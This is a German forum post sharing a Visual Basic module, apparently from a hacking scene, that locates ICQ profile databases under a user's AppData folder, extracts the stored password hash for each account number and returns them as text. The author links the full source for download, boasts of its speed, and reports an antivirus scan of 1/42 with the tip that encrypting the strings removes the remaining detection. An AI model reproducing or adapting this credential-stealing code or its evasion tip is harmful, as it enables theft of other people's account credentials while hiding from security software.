Habe ein altes Recovery Modul für ICQ gefunden und es war saulangsam da dacht ich mir ich schreib selbst eins, raus kam :
- Anderes Modul : 12,5 Sekunden ~
- Mein Modul : 0,37 Sekunden ~
Main Funktion :
Code:
'****************************************************************
'* Module : mICQ
'* Author : skilled
'* Contact :
'* ICQ : 665514
'* MSN : skilled1337@hotmail.com
'*
'* Leave Credits if u use this snippet to skilled
'*
'* Usage : MsgBox ICQ
'****************************************************************
Public Function ICQ() As String
On Error Resume Next
Dim sICQPath As String
Dim sFolderBuffer As String
Dim sFolders() As String
Dim i As Integer
Dim sTmpBuffer As String
Dim lPos As Long
Dim sMD5Hash As String
Dim nFile As Integer
Dim arrFile() As Byte
nFile = FreeFile
Dim sFullPath As String
Dim sName(1) As String
sName(0) = "Owner.mdb"
sName(1) = "Owner.qdb"
sICQPath = Environ("appdata") & "\ICQ\"
sFolderBuffer = GetSubDirs(sICQPath)
sFolders = Split(sFolderBuffer, "|")
For i = 1 To UBound(sFolders) - 1
If IsNumeric(sFolders(i)) = True Then
sFullPath = sICQPath & sFolders(i) & "\" & sName(0)
If Dir(sFullPath) = "" Then
sFullPath = sICQPath & sFolders(i) & "\" & sName(1)
End If
If Dir(sFullPath) <> "" Then
Open sFullPath For Binary As #nFile
ReDim arrFile(LOF(nFile) - 1)
Get #nFile, , arrFile
Close #nFile
sTmpBuffer = StrConv(arrFile, vbUnicode)
lPos = InStr(sTmpBuffer, makeString("StoredPassword"))
sMD5Hash = ""
If lPos > 0 Then
sTmpBuffer = Mid$(sTmpBuffer, lPos)
sTmpBuffer = Replace$(sTmpBuffer, Chr(0), vbNullString)
sTmpBuffer = Replace$(sTmpBuffer, Chr(132), vbNullString)
sMD5Hash = Left(StringToHex(DecodeStr64(Mid(sTmpBuffer, 17, 44))), 32)
End If
If sMD5Hash <> "" Then
ICQ = ICQ & "UIN : " & sFolders(i) & vbCrLf & "MD5 : " & sMD5Hash & vbCrLf & String(25, "=") & vbCrLf
Else
ICQ = ICQ & "UIN : " & sFolders(i) & vbCrLf & "Passwort nich gespeichert." & vbCrLf & String(25, "=") & vbCrLf
End If
End If
End If
Next
End Function
Der vollständige Source :
http://www.xup.in/dl,76264724/ICQ.rar/
=================================
Ergebnis: 1/42 (2.39%) = Avira
Strings Encrypten und Avira ist weg.
lg,
skilled